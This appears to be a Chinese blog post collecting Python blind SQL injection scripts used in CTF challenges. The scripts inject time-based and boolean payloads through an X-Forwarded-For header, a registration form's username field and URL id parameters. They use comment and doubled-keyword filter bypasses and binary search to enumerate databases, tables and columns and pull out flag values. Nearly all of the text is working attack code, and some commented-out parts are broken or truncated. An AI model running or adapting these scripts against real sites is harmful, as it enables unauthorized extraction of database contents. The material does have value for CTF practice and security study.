sql注入常用脚本

XFF时间盲注二分法

import requests

url="http://49.235.141.207:25501/test_sql/sql_ip_insert/"
flag=''
for i in range(1,50):
    f1=flag
    top=127
    low=33
    while low<=top:
        mid=(top+low)//2
        p1="127.0.0.1' and (case when ascii(substr((select flag from flag) from {} for 1))>{} then sleep(3) else 0 end) and '1".format(str(i),str(mid))
        p2="127.0.0.1' and (case when ascii(substr((select flag from flag) from {} for 1))={} then sleep(3) else 0 end) and '1".format(str(i),str(mid))
        headers1={'X-Forwarded-For':p1}
        headers2={'X-Forwarded-For':p2}
        try:
            print(i,mid)
            r1=requests.get(url,headers=headers2,timeout=3)
        except requests.exceptions.ReadTimeout as e:
            flag+=chr(mid)
            print(flag)
            break
        except Exception as e:
            pass
        else:
            try:
                r2=requests.get(url,headers=headers1,timeout=3)
            except requests.exceptions.ReadTimeout as e:
                low=mid+1
            except Exception as e:
                pass
            else:
                top=mid-1

    if flag==f1:
        break

二分法时间盲注

import requests

url="http://e2237b8f-0ea4-4294-bbe7-007af8f88f8b.node3.buuoj.cn/register.php"
flag=''
proxies={
    "http":"127.0.0.1:8080"
}
for i in range(1,50):
    f1=flag
    top=127
    low=33
    # print(1)
    while low<=top:
        mid=(top+low)//2
        p1="aaaaa' || (case when ascii(substr((select*from flag) from {} for 1))>{} then sleep(3) else 0 end) || 'aaa".format(i,mid)
        p2="aaaaa' || (case when ascii(substr((select*from flag) from {} for 1))={} then sleep(3) else 0 end) || 'aaa".format(i,mid)
        data1={'email':'basb@qq.com','username':p1,'password':'1234'}
        data2={'email':'basb@qq.com','username':p2,'password':'1234'}
        try:
            print(i,mid)
            r1=requests.post(url,data=data2,timeout=3,proxies=proxies)
        except requests.exceptions.ReadTimeout as e:
            flag+=chr(mid)
            print(flag)
            break
        except Exception as e:
            pass
        else:
            try:
                r2=requests.post(url,data=data1,timeout=3,proxies=proxies)
            except requests.exceptions.ReadTimeout as e:
                low=mid+1
            except Exception as e:
                pass
            else:
                top=mid-1

    if flag==f1:
        break

二分法盲注

import requests

url="http://116.63.149.36:50048/file_id.php?id="
flag=''
for i in range(1,50):
	f1=flag
	top=127
	low=33
	while low<=top:
		mid=(top+low)//2
		# data={'id':'if(ascii(substr((select(flag)from(flag)),{},1))>{},1,0)'.format(str(i),str(mid))}
		# data1={'id':'if(ascii(substr((select(flag)from(flag)),{},1))={},1,0)'.format(str(i),str(mid))}
		data='if(ascii(substr((select(flag)from(flag)),{},1))>{},1,0)'.format(str(i),str(mid))
		data1='if(ascii(substr((select(flag)from(flag)),{},1))={},1,0)'.format(str(i),str(mid))
		try:
			r1=requests.post(url+data1)
			print(i,mid)
			if 'glzjin' in r1.text:
				flag+=chr(mid)
				print(flag)
				break
			r=requests.post(url+data)
			if "Error" in r.text:
				top=mid-1
			if 'glzjin' in r.text:
				low=mid+1
		except Exception as e:
			pass
	if flag==f1:
		break

时间盲注

import requests

url = 'http://139.199.182.61/index.php?id=1%27'
lendata=7
# for i in range(1, 50):
# 	try:
# 		payload1 = '/**/and/**/if(length(database())={},sleep(3),1)%23'.format(i)
# 		r = requests.get(url + payload1, timeout=3)
# 	except requests.exceptions.ReadTimeout as e:
# 		lendata = i
# 		print("数据库长度为"+str(i))
# 		break

databases=['easysql']

# database=""
# for j  in range(1,lendata+1):
# 	for k in range(33,127):
# 		payload2 = '/**/and/**/if(ascii(substr(database(),{},1))={},sleep(3),1)%23'.format(j, k)
# 		print(payload2)
# 		try:
# 			r=requests.get(url+payload2,timeout=3)
# 		except requests.exceptions.ReadTimeout as e:
# 			database+=chr(k)
# 			print(database)
# 			break
# 		except Exception as w:
# 			pass

# database=''
# databases=[]
# for k in range(0, 10):
#	flag1=len(databases)
# 	for i in range(1,50):
# 		flag=database
# 		for j in range(33,127):
# 			payload3='/**/and/**/if(ascii(substr((selselectect/**/schema_name/**/from/**/information_schema.schemata/**/limit/**/{},1),{},1))={},sleep(3),1)%23'.format(k , i, j)
# 			try:
# 				print(payload3)
# 				r=requests.get(url+payload3,timeout=3)
# 			except requests.exceptions.ReadTimeout as e:
# 				database+=chr(j)
# 				print(database)
# 				break
# 			except Exception as w:
# 				pass
# 		if flag==database:
# 			break
# 	databases.append(database)
#	if flag1==len(databases):
#		break
# print(databases)


tables=['f1aggggggggggggg']
# table=''
# # tables=['users']
# for k in range(0, 10):
# 	flag1=len(tables)
# 	for i in range(1,50):
# 		flag=table
# 		for j in range(33,127):
# 			payload3='/**/and/**/if(ascii(substr((selselectect/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/{},1),{},1))={},sleep(3),1)%23'.format(k , i, j)
# 			try:
# 				print(payload3)
# 				r=requests.get(url+payload3,timeout=3)
# 			except requests.exceptions.ReadTimeout as e:
# 				table+=chr(j)
# 				print(table)
# 				break
# 			except Exception as w:
# 				pass
# 		if flag==table:
# 			tables.append(table)
# 			table=""
#			break
# 	if len(tables)=flag1
#	break
# print(tables)

columns=['fl4444444g']
# column=''
# for te in tables:
# 	for k in range(0,5):
#		flag1=len(columns)
# 		for i in range(1,50):
# 			flag=column
# 			for j in range(33,127):
# 				payload4='/**/and/**/if(ascii(substr((seselectlect/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name="{}" limit/**/{},1),{},1))={},sleep(3),1)%23'.format(te,k,i,j)
# 				try:
# 					r=requests.get(url+payload4,timeout=3)
# 					print(payload4)
# 				except requests.exceptions.ReadTimeout as e:
# 					column+=chr(j)
# 					print(column)
# 					break
# 				except Exception as w:
# 					pass	
# 			if flag==column:
# 				columns.append(column)
# 				column=''
# 				break
#		if len(columns)=flag1:
#			break;
# print(columns)

# data=''

# for db in databases:
# 	for ta in tables:
# 		for co in columns:
# 			for k in range(0,10):
# 				for i in range(1,50):
# 					flag=data
# 					for j in range(33,127):
# 						payload5='/**/and/**/if(ascii(substring((seselectlect/**/{}/**/from/**/{}.{}/**/limit/**/{},1),{},1))={},sleep(3),1)%23'.format(co,db,ta,k,i,j)
# 						try:
# 							r=requests.get(url+payload5,timeout=3)
# 							print(payload5)
# 						except requests.exceptions.ReadTimeout as e:
# 							data+=chr(j)
# 							print(data)
# 							break
# 						except Exception as w:
# 							pass	
# 					if flag==data:
# 						data=''
# 						brea


其他

import requests
s=requests.session()
url='https://46a0f98e-cdc3-413d-b67c-b2dbaeb5c4ec.chall.ctf.show/index.php'
table=""

for i in range(1,45):
    print(i)
    for j in range(31,128):
        #爆表名  flag
        payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
        #爆字段名 flag
        #payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
        #读取flag
        #payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))

        ra = s.get(url=url + '?id=0/**/or/**/' + payload).text

        if 'I asked nothing' in ra:
            table += chr(j)
            print(table)
            break
import requests
url = "http://124.156.121.112:28069/?id=-1'/**/"
def db(url):                    #爆库名
    for i in range(1,5):
        for j in range(32,128):
            u= "or/**/ascii(substr(database()/**/from/**/"+str(i)+"/**/for/**/1))="+str(j)+"#"
            s = url+u
            print(s)
            r =  requests.get(s)
            if 'By Rudyard Kipling' in r.text:
                print(chr(j))
                
def table(url):                    #爆表名
    for i in range(4):
        table_name=''
        for j in range(1,6):
            for k in range(48,128):
                u=id="||/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/1/**/offset/**/"+str(i)+")/**/from/**/"+str(j)+"/**/for/**/1))="+str(k)+"#"
                s = url+u
                print(s)
                r =  requests.get(s)            
                if 'By Rudyard Kipling' in r.text:
                    table_name+=chr(k)
            print(table_name)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值